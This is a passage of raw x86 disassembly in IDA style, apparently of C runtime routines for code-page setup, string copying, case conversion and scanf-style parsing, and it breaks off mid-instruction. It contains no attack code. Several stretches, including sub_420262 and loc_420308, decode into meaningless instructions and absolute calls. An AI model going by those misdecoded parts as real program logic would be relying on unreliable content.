pop eax loc_42020B: ; CODE XREF: sub_4200C9+14Fj or ds:byte_4DF421[eax], 8 inc eax cmp eax, 0FFh jb short loc_42020B push esi call sub_4202AC pop ecx mov ds:dword_4DF524, eax mov ds:dword_4DF31C, 1 jmp short loc_420238 ; --------------------------------------------------------------------------- loc_420232: ; CODE XREF: sub_4200C9+74j mov ds:dword_4DF31C, ebx loc_420238: ; CODE XREF: sub_4200C9+167j xor eax, eax mov edi, offset dword_4DF310 stosd stosd stosd jmp short loc_420251 ; --------------------------------------------------------------------------- loc_420244: ; CODE XREF: sub_4200C9+51j cmp ds:dword_4DDF40, ebx jz short loc_42025A loc_42024C: ; CODE XREF: sub_4200C9+27j call sub_4202DF loc_420251: ; CODE XREF: sub_4200C9+131j ; sub_4200C9+179j call loc_420308 loc_420256: ; CODE XREF: sub_4200C9+1Dj xor eax, eax jmp short loc_42025D ; --------------------------------------------------------------------------- loc_42025A: ; CODE XREF: sub_4200C9+181j or eax, 0FFFFFFFFh loc_42025D: ; CODE XREF: sub_4200C9+18Fj pop edi pop esi pop ebx leave retn sub_4200C9 endp ; =============== S U B R O U T I N E ======================================= sub_420262 proc near ; CODE XREF: sub_4200C9+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and ds:dword_4DDF40, 0 cmp eax, 0FFFFFFFEh jnz short near ptr loc_420281+1 mov ds:dword_4DDF40, 1 call near ptr 0B10000h loc_420281: ; CODE XREF: sub_420262+Ej cmp [ebx+1075FDF8h], eax mov ds:dword_4DDF40, 1 call near ptr 0C10004h in eax, 83h ; DMA page register 74LS612: ; Channel 1 (address bits 16-23) clc cld jnz short locret_4202AB mov eax, ds:dword_4DDF84 mov ds:dword_4DDF40, 1 locret_4202AB: ; CODE XREF: sub_420262+38j retn sub_420262 endp ; =============== S U B R O U T I N E ======================================= sub_4202AC proc near ; CODE XREF: sub_4200C9+118p ; sub_4200C9+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_4202D9 sub eax, 4 jz short loc_4202D3 sub eax, 0Dh jz short loc_4202CD dec eax jz short loc_4202C7 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4202C7: ; CODE XREF: sub_4202AC+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_4202CD: ; CODE XREF: sub_4202AC+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_4202D3: ; CODE XREF: sub_4202AC+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_4202D9: ; CODE XREF: sub_4202AC+9j mov eax, 411h retn sub_4202AC endp ; =============== S U B R O U T I N E ======================================= sub_4202DF proc near ; CODE XREF: sub_4200C9:loc_42024Cp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DF420 rep stosd stosb xor eax, eax mov edi, offset dword_4DF310 mov ds:dword_4DF304, eax mov ds:dword_4DF31C, eax mov ds:dword_4DF524, eax stosd stosd stosd pop edi retn sub_4202DF endp ; --------------------------------------------------------------------------- loc_420308: ; CODE XREF: sub_4200C9:loc_420251p push ebp mov ebp, esp sub esp, 514h lea eax, [ebp-14h] push esi push eax push ds:dword_4DF304 call near ptr 0C50004h xor eax, 0F01F883h test [esi], edx add [eax], eax add [ebx], dh sar byte ptr [esi+100h], 88h ; CODE XREF: seg000:0042033Cj test ds:0FFFFFEECh, al inc eax cmp eax, esi jb short near ptr loc_42032C+6 mov al, [ebp-0Eh] mov byte ptr [ebp-114h], 20h test al, al jz short loc_420383 push ebx push edi lea edx, [ebp-0Dh] loc_420351: ; CODE XREF: seg000:0042037Fj movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_420378 sub ecx, eax lea edi, [ebp+eax-114h] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_420378: ; CODE XREF: seg000:00420359j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_420351 pop edi pop ebx loc_420383: ; CODE XREF: seg000:0042034Aj push 0 lea eax, [ebp-514h] push ds:dword_4DF524 push ds:dword_4DF304 push eax lea eax, [ebp-114h] push esi push eax push 1 call loc_423F37 push 0 lea eax, [ebp-214h] push ds:dword_4DF304 push esi push eax lea eax, [ebp-114h] push esi push eax push esi push ds:dword_4DF524 call loc_422DA3 push 0 lea eax, [ebp-314h] push ds:dword_4DF304 push esi push eax lea eax, [ebp-114h] push esi push eax push 200h push ds:dword_4DF524 call loc_422DA3 add esp, 5Ch xor eax, eax lea ecx, [ebp-514h] loc_4203FE: ; CODE XREF: seg000:0042043Dj mov dx, [ecx] test dl, 1 jz short loc_42041C or ds:byte_4DF421[eax], 10h mov dl, [ebp+eax-214h] loc_420414: ; CODE XREF: seg000:0042042Fj mov ds:byte_4DF320[eax], dl jmp short loc_420438 ; --------------------------------------------------------------------------- loc_42041C: ; CODE XREF: seg000:00420404j test dl, 2 jz short loc_420431 or ds:byte_4DF421[eax], 20h mov dl, [ebp+eax-314h] jmp short loc_420414 ; --------------------------------------------------------------------------- loc_420431: ; CODE XREF: seg000:0042041Fj and ds:byte_4DF320[eax], 0 loc_420438: ; CODE XREF: seg000:0042041Aj inc eax inc ecx inc ecx cmp eax, esi jb short loc_4203FE jmp short loc_42048A ; --------------------------------------------------------------------------- xor eax, eax mov esi, 100h loc_420448: ; CODE XREF: seg000:00420488j cmp eax, 41h jb short loc_420466 cmp eax, 5Ah ja short loc_420466 or ds:byte_4DF421[eax], 10h mov cl, al add cl, 20h loc_42045E: ; CODE XREF: seg000:0042047Cj mov ds:byte_4DF320[eax], cl jmp short loc_420485 ; --------------------------------------------------------------------------- loc_420466: ; CODE XREF: seg000:0042044Bj ; seg000:00420450j cmp eax, 61h jb short loc_42047E cmp eax, 7Ah ja short loc_42047E or ds:byte_4DF421[eax], 20h mov cl, al sub cl, 20h jmp short loc_42045E ; --------------------------------------------------------------------------- loc_42047E: ; CODE XREF: seg000:00420469j ; seg000:0042046Ej and ds:byte_4DF320[eax], 0 loc_420485: ; CODE XREF: seg000:00420464j inc eax cmp eax, esi jb short loc_420448 loc_42048A: ; CODE XREF: seg000:0042043Fj pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_42048D proc near ; CODE XREF: seg000:0042317Fp ; sub_4231CE+Dp ... cmp ds:dword_4DF554, 0 jnz short locret_4204A8 push 0FFFFFFFDh call sub_4200C9 pop ecx mov ds:dword_4DF554, 1 locret_4204A8: ; CODE XREF: sub_42048D+7j retn sub_42048D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4204A9 proc near ; CODE XREF: sub_41BBC1+2Bp ; sub_41BBC1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp ds:dword_4DF31C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4204CD push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41B7E0 add esp, 0Ch jmp short loc_420530 ; --------------------------------------------------------------------------- loc_4204CD: ; CODE XREF: sub_4204A9+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_420512 mov ecx, [ebp+arg_4] loc_4204D8: ; CODE XREF: sub_4204A9+5Bj mov al, [ecx] dec edx movzx esi, al test ds:byte_4DF421[esi], 4 mov [edi], al jz short loc_4204FC inc edi inc ecx test edx, edx jz short loc_420508 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_42050E jmp short loc_420502 ; --------------------------------------------------------------------------- loc_4204FC: ; CODE XREF: sub_4204A9+3Ej inc edi inc ecx test al, al jz short loc_420512 loc_420502: ; CODE XREF: sub_4204A9+51j test edx, edx jnz short loc_4204D8 jmp short loc_420512 ; --------------------------------------------------------------------------- loc_420508: ; CODE XREF: sub_4204A9+44j and byte ptr [edi-1], 0 jmp short loc_420512 ; --------------------------------------------------------------------------- loc_42050E: ; CODE XREF: sub_4204A9+4Fj and byte ptr [edi-2], 0 loc_420512: ; CODE XREF: sub_4204A9+2Aj ; sub_4204A9+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_42052D lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_42052D: ; CODE XREF: sub_4204A9+6Fj mov eax, [ebp+arg_0] loc_420530: ; CODE XREF: sub_4204A9+22j pop edi pop ebp retn sub_4204A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420533 proc near ; CODE XREF: sub_41BDAD+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_4DDF74, 0 push ebx jnz short loc_42055E mov eax, [ebp+arg_0] cmp eax, 61h jl loc_4205FC cmp eax, 7Ah jg loc_4205FC sub eax, 20h jmp loc_4205FC ; --------------------------------------------------------------------------- loc_42055E: ; CODE XREF: sub_420533+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420591 cmp ds:dword_43F194, 1 jle short loc_42057E push 2 push ebx call sub_41F735 pop ecx pop ecx jmp short loc_420589 ; --------------------------------------------------------------------------- loc_42057E: ; CODE XREF: sub_420533+3Dj mov eax, ds:off_43EF88 mov al, [eax+ebx*2] and eax, 2 loc_420589: ; CODE XREF: sub_420533+49j test eax, eax jnz short loc_420591 loc_42058D: ; CODE XREF: sub_420533+AFj mov eax, ebx jmp short loc_4205FC ; --------------------------------------------------------------------------- loc_420591: ; CODE XREF: sub_420533+34j ; sub_420533+58j mov edx, ds:off_43EF88 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_4205B4 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_4205BD ; --------------------------------------------------------------------------- loc_4205B4: ; CODE XREF: sub_420533+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_4205BD: ; CODE XREF: sub_420533+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push ds:dword_4DDF74 call loc_422DA3 add esp, 20h test eax, eax jz short loc_42058D cmp eax, 1 jnz short loc_4205EF movzx eax, [ebp+var_4] jmp short loc_4205FC ; --------------------------------------------------------------------------- loc_4205EF: ; CODE XREF: sub_420533+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4205FC: ; CODE XREF: sub_420533+14j ; sub_420533+1Dj ... pop ebx leave retn sub_420533 endp ; =============== S U B R O U T I N E ======================================= sub_4205FF proc near ; CODE XREF: sub_41BFCC+1Dp ; sub_41D5DE+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov ds:dword_4DDEB8, ecx mov eax, offset dword_43F2A0 loc_420610: ; CODE XREF: sub_4205FF+1Ej cmp ecx, [eax] jz short loc_420634 add eax, 8 inc edx cmp eax, offset dword_43F408 jl short loc_420610 cmp ecx, 13h jb short loc_420641 cmp ecx, 24h ja short loc_420641 mov ds:dword_4DDEB4, 0Dh retn ; --------------------------------------------------------------------------- loc_420634: ; CODE XREF: sub_4205FF+13j mov eax, ds:dword_43F2A4[edx*8] mov ds:dword_4DDEB4, eax retn ; --------------------------------------------------------------------------- loc_420641: ; CODE XREF: sub_4205FF+23j ; sub_4205FF+28j cmp ecx, 0BCh jb short loc_42065B cmp ecx, 0CAh mov ds:dword_4DDEB4, 8 jbe short locret_420665 loc_42065B: ; CODE XREF: sub_4205FF+48j mov ds:dword_4DDEB4, 16h locret_420665: ; CODE XREF: sub_4205FF+5Aj retn sub_4205FF endp ; =============== S U B R O U T I N E ======================================= sub_420666 proc near ; CODE XREF: sub_41BFF6+8p ; sub_41D3DC+9p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_424080 test eax, eax pop ecx jz short loc_4206EF cmp esi, offset dword_43F578 jnz short loc_420684 xor eax, eax jmp short loc_42068F ; --------------------------------------------------------------------------- loc_420684: ; CODE XREF: sub_420666+18j cmp esi, offset dword_43F598 jnz short loc_4206EF push 1 pop eax loc_42068F: ; CODE XREF: sub_420666+1Cj inc ds:dword_4DDF8C test word ptr [esi+0Ch], 10Ch jnz short loc_4206EF cmp ds:dword_4DDF44[eax*4], 0 push ebx push edi lea edi, ds:4DDF44h[eax*4] mov ebx, 1000h jnz short loc_4206D5 push ebx call sub_41B6C5 test eax, eax pop ecx mov [edi], eax jnz short loc_4206D5 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_4206E2 ; --------------------------------------------------------------------------- loc_4206D5: ; CODE XREF: sub_420666+4Dj ; sub_420666+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_4206E2: ; CODE XREF: sub_420666+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_4206EF: ; CODE XREF: sub_420666+10j ; sub_420666+24j ... xor eax, eax pop esi retn sub_420666 endp ; =============== S U B R O U T I N E ======================================= sub_4206F3 proc near ; CODE XREF: sub_41BFF6+24p ; sub_41D3DC+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_42071D mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_42072E push esi call sub_41DDAB and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42071D: ; CODE XREF: sub_4206F3+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_42072E push eax call sub_41DDAB pop ecx loc_42072E: ; CODE XREF: sub_4206F3+10j ; sub_4206F3+32j pop esi retn sub_4206F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420730 proc near ; CODE XREF: sub_41C835+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_421136 mov edi, [ebp+arg_0] jmp short loc_42075F ; --------------------------------------------------------------------------- loc_42075A: ; CODE XREF: sub_420730+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_42075F: ; CODE XREF: sub_420730+28j cmp ds:dword_43F194, 1 jle short loc_420777 movzx eax, al push 8 push eax call sub_41F735 pop ecx pop ecx jmp short loc_420786 ; --------------------------------------------------------------------------- loc_420777: ; CODE XREF: sub_420730+36j mov ecx, ds:off_43EF88 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420786: ; CODE XREF: sub_420730+45j cmp eax, ebx jz short loc_4207C0 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_4211BD pop ecx pop ecx push eax call sub_4211A6 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D890 add esp, 0Ch loc_4207AE: ; CODE XREF: sub_420730+8Ej test eax, eax jz short loc_4207C0 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D890 pop ecx jmp short loc_4207AE ; --------------------------------------------------------------------------- loc_4207C0: ; CODE XREF: sub_420730+58j ; sub_420730+80j cmp byte ptr [esi], 25h jnz loc_4210A2 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_4207F7: ; CODE XREF: sub_420730+172j movzx ebx, byte ptr [esi+1] inc esi cmp ds:dword_43F194, 1 jle short loc_420814 movzx eax, bl push 4 push eax call sub_41F735 pop ecx pop ecx jmp short loc_420823 ; --------------------------------------------------------------------------- loc_420814: ; CODE XREF: sub_420730+D3j mov ecx, ds:off_43EF88 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420823: ; CODE XREF: sub_420730+E2j test eax, eax jz short loc_420839 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_42089E ; --------------------------------------------------------------------------- loc_420839: ; CODE XREF: sub_420730+F5j cmp ebx, 4Eh jg short loc_42087C jz short loc_42089E cmp ebx, 2Ah jz short loc_420877 cmp ebx, 46h jz short loc_42089E cmp ebx, 49h jz short loc_420859 cmp ebx, 4Ch jnz short loc_42088B inc [ebp+var_D] jmp short loc_42089E ; --------------------------------------------------------------------------- loc_420859: ; CODE XREF: sub_420730+11Dj cmp byte ptr [esi+1], 36h jnz short loc_42088B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_42088B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_42089E ; --------------------------------------------------------------------------- loc_420877: ; CODE XREF: sub_420730+113j inc [ebp+var_E] jmp short loc_42089E ; --------------------------------------------------------------------------- loc_42087C: ; CODE XREF: sub_420730+10Cj cmp ebx, 68h jz short loc_420898 cmp ebx, 6Ch jz short loc_420890 cmp ebx, 77h jz short loc_420893 loc_42088B: ; CODE XREF: sub_420730+122j ; sub_420730+12Dj ... inc [ebp+var_F] jmp short loc_42089E ; --------------------------------------------------------------------------- loc_420890: ; CODE XREF: sub_420730+154j inc [ebp+var_D] loc_420893: ; CODE XREF: sub_420730+159j inc [ebp+var_5] jmp short loc_42089E ; --------------------------------------------------------------------------- loc_420898: ; CODE XREF: sub_420730+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_42089E: ; CODE XREF: sub_420730+107j ; sub_420730+10Ej ... cmp [ebp+var_F], 0 jz loc_4207F7 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_4208C3 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_4208C3: ; CODE XREF: sub_420730+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4208E1 mov al, [esi] cmp al, 53h jz short loc_4208DD cmp al, 43h jz short loc_4208DD or [ebp+var_5], 0FFh jmp short loc_4208E1 ; --------------------------------------------------------------------------- loc_4208DD: ; CODE XREF: sub_420730+1A1j ; sub_420730+1A5j mov [ebp+var_5], 1 loc_4208E1: ; CODE XREF: sub_420730+19Bj ; sub_420730+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_42091A cmp esi, 63h jz short loc_42090B cmp esi, 7Bh jz short loc_42090B push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_4211BD pop ecx jmp short loc_420916 ; --------------------------------------------------------------------------- loc_42090B: ; CODE XREF: sub_420730+1C5j ; sub_420730+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_42118C loc_420916: ; CODE XREF: sub_420730+1D9j pop ecx mov [ebp+var_14], eax loc_42091A: ; CODE XREF: sub_420730+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42092A cmp [ebp+var_C], eax jz loc_421106 loc_42092A: ; CODE XREF: sub_420730+1EFj cmp esi, 6Fh jg loc_420B91 jz loc_420E43 cmp esi, 63h jz loc_420B6E cmp esi, 64h jz loc_420E43 jle loc_420BBB cmp esi, 67h jle short loc_42098E cmp esi, 69h jz short loc_420976 cmp esi, 6Eh jnz loc_420BBB cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_421071 jmp loc_421097 ; --------------------------------------------------------------------------- loc_420976: ; CODE XREF: sub_420730+229j push 64h pop esi loc_420979: ; CODE XREF: sub_420730+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_420C03 mov [ebp+var_17], 1 jmp loc_420C08 ; --------------------------------------------------------------------------- loc_42098E: ; CODE XREF: sub_420730+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_4209AA mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_4209AF ; --------------------------------------------------------------------------- loc_4209AA: ; CODE XREF: sub_420730+26Aj cmp ebx, 2Bh jnz short loc_4209C6 loc_4209AF: ; CODE XREF: sub_420730+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_42118C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4209C9 ; --------------------------------------------------------------------------- loc_4209C6: ; CODE XREF: sub_420730+27Dj mov edi, [ebp+arg_0] loc_4209C9: ; CODE XREF: sub_420730+294j cmp [ebp+var_20], 0 jz short loc_4209D8 cmp [ebp+var_C], 15Dh jle short loc_4209DF loc_4209D8: ; CODE XREF: sub_420730+29Dj mov [ebp+var_C], 15Dh loc_4209DF: ; CODE XREF: sub_420730+2A6j ; sub_420730+2F2j cmp ds:dword_43F194, 1 jle short loc_4209F4 push 4 push ebx call sub_41F735 pop ecx pop ecx jmp short loc_4209FF ; --------------------------------------------------------------------------- loc_4209F4: ; CODE XREF: sub_420730+2B6j mov eax, ds:off_43EF88 mov al, [eax+ebx*2] and eax, 4 loc_4209FF: ; CODE XREF: sub_420730+2C2j test eax, eax jz short loc_420A24 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420A24 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_42118C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4209DF ; --------------------------------------------------------------------------- loc_420A24: ; CODE XREF: sub_420730+2D1j ; sub_420730+2DBj cmp ds:byte_43F198, bl jnz short loc_420A92 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420A92 inc [ebp+var_4] push edi call sub_42118C mov ebx, eax mov al, ds:byte_43F198 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_420A4D: ; CODE XREF: sub_420730+360j cmp ds:dword_43F194, 1 jle short loc_420A62 push 4 push ebx call sub_41F735 pop ecx pop ecx jmp short loc_420A6D ; --------------------------------------------------------------------------- loc_420A62: ; CODE XREF: sub_420730+324j mov eax, ds:off_43EF88 mov al, [eax+ebx*2] and eax, 4 loc_420A6D: ; CODE XREF: sub_420730+330j test eax, eax jz short loc_420A92 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420A92 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_42118C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420A4D ; --------------------------------------------------------------------------- loc_420A92: ; CODE XREF: sub_420730+2FAj ; sub_420730+304j ... cmp [ebp+var_1C], 0 jz loc_420B2A cmp ebx, 65h jz short loc_420AAA cmp ebx, 45h jnz loc_420B2A loc_420AAA: ; CODE XREF: sub_420730+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420B2A mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_42118C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_420AD1 mov [esi], al inc esi jmp short loc_420AD6 ; --------------------------------------------------------------------------- loc_420AD1: ; CODE XREF: sub_420730+39Aj cmp ebx, 2Bh jnz short loc_420AF4 loc_420AD6: ; CODE XREF: sub_420730+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_420AE5 and [ebp+var_C], eax jmp short loc_420AF4 ; --------------------------------------------------------------------------- loc_420AE5: ; CODE XREF: sub_420730+3AEj ; sub_420730+3F8j inc [ebp+var_4] push edi call sub_42118C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420AF4: ; CODE XREF: sub_420730+3A4j ; sub_420730+3B3j cmp ds:dword_43F194, 1 jle short loc_420B09 push 4 push ebx call sub_41F735 pop ecx pop ecx jmp short loc_420B14 ; --------------------------------------------------------------------------- loc_420B09: ; CODE XREF: sub_420730+3CBj mov eax, ds:off_43EF88 mov al, [eax+ebx*2] and eax, 4 loc_420B14: ; CODE XREF: sub_420730+3D7j test eax, eax jz short loc_420B2A mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420B2A inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_420AE5 ; --------------------------------------------------------------------------- loc_420B2A: ; CODE XREF: sub_420730+366j ; sub_420730+374j ... dec [ebp+var_4] push edi push ebx call sub_4211A6 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_421136 cmp [ebp+var_E], 0 jnz loc_421097 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call ds:off_43F538 add esp, 0Ch jmp loc_421097 ; --------------------------------------------------------------------------- loc_420B6E: ; CODE XREF: sub_420730+20Cj cmp [ebp+var_20], eax jnz short loc_420B7D inc [ebp+var_C] mov [ebp+var_20], 1 loc_420B7D: ; CODE XREF: sub_420730+441j cmp [ebp+var_5], 0 jle short loc_420B87 mov [ebp+var_16], 1 loc_420B87: ; CODE XREF: sub_420730+451j mov edi, offset dword_43F410 jmp loc_420C9C ; --------------------------------------------------------------------------- loc_420B91: ; CODE XREF: sub_420730+1FDj mov eax, esi sub eax, 70h jz loc_420E3F sub eax, 3 jz loc_420C8D dec eax dec eax jz loc_420E43 sub eax, 3 jz loc_420979 sub eax, 3 jz short loc_420BDF loc_420BBB: ; CODE XREF: sub_420730+21Bj ; sub_420730+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_421106 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_421097 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_421097 ; --------------------------------------------------------------------------- loc_420BDF: ; CODE XREF: sub_420730+489j cmp [ebp+var_5], 0 jle short loc_420BE9 mov [ebp+var_16], 1 loc_420BE9: ; CODE XREF: sub_420730+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_420CA0 mov eax, edi lea edi, [eax+1] jmp loc_420C9C ; --------------------------------------------------------------------------- loc_420C03: ; CODE XREF: sub_420730+24Fj cmp ebx, 2Bh jnz short loc_420C2A loc_420C08: ; CODE XREF: sub_420730+259j dec [ebp+var_C] jnz short loc_420C19 cmp [ebp+var_20], 0 jz short loc_420C19 mov [ebp+var_F], 1 jmp short loc_420C2A ; --------------------------------------------------------------------------- loc_420C19: ; CODE XREF: sub_420730+4DBj ; sub_420730+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_42118C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420C2A: ; CODE XREF: sub_420730+4D6j ; sub_420730+4E7j cmp ebx, 30h jnz loc_420E78 push [ebp+arg_0] inc [ebp+var_4] call sub_42118C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_420C78 cmp bl, 58h jz short loc_420C78 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_420C62 push 6Fh loc_420C5C: ; CODE XREF: sub_420730+55Bj pop esi jmp loc_420E78 ; --------------------------------------------------------------------------- loc_420C62: ; CODE XREF: sub_420730+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_4211A6 pop ecx pop ecx push 30h pop ebx jmp loc_420E75 ; --------------------------------------------------------------------------- loc_420C78: ; CODE XREF: sub_420730+517j ; sub_420730+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_42118C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_420C5C ; --------------------------------------------------------------------------- loc_420C8D: ; CODE XREF: sub_420730+46Fj cmp [ebp+var_5], 0 jle short loc_420C97 mov [ebp+var_16], 1 loc_420C97: ; CODE XREF: sub_420730+561j mov edi, offset dword_43F408 loc_420C9C: ; CODE XREF: sub_420730+45Cj ; sub_420730+4CEj or [ebp+var_18], 0FFh loc_420CA0: ; CODE XREF: sub_420730+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41B780 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_420CC4 cmp byte ptr [edi], 5Dh jnz short loc_420CC4 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_420CC7 ; --------------------------------------------------------------------------- loc_420CC4: ; CODE XREF: sub_420730+584j ; sub_420730+589j mov dl, [ebp+var_35] loc_420CC7: ; CODE XREF: sub_420730+592j ; sub_420730+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_420D2C inc edi cmp al, 2Dh jnz short loc_420D13 test dl, dl jz short loc_420D13 mov cl, 